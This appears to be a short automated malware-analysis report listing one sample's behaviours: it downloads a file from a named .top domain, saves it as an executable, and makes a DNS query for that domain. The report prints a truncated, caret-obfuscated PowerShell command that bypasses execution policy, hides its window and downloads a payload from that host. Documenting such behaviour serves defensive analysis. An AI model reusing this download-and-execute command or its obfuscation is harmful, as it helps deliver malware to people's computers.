Technical Information
Malicious functions
Downloads and executes
- http://www.vopergooda.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "po^we^RsHe^l^l^.^EX^E -ex^E^cu^TI^oN^po^L^i^cY^ bYP^a^Ss -N^oP^rO^FIl^E ^-WinDowst^yL^E^ hI^dDen ^(^n^eW-ob^je^cT sY^St^Em.NE^T.weB^ClIENT).^d^Ow^n^lo^a^df^IlE('http://www.vopergood...
Network activity
UDP
- DNS ASK vo###gooda.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "po^we^RsHe^l^l^.^EX^E -ex^E^cu^TI^oN^po^L^i^cY^ bYP^a^Ss -N^oP^rO^FIl^E ^-WinDowst^yL^E^ hI^dDen ^(^n^eW-ob^je^cT sY^St^Em.NE^T.weB^ClIENT).^d^Ow^n^lo^a^df^IlE('http://www.vopergood...' (with hidden window)
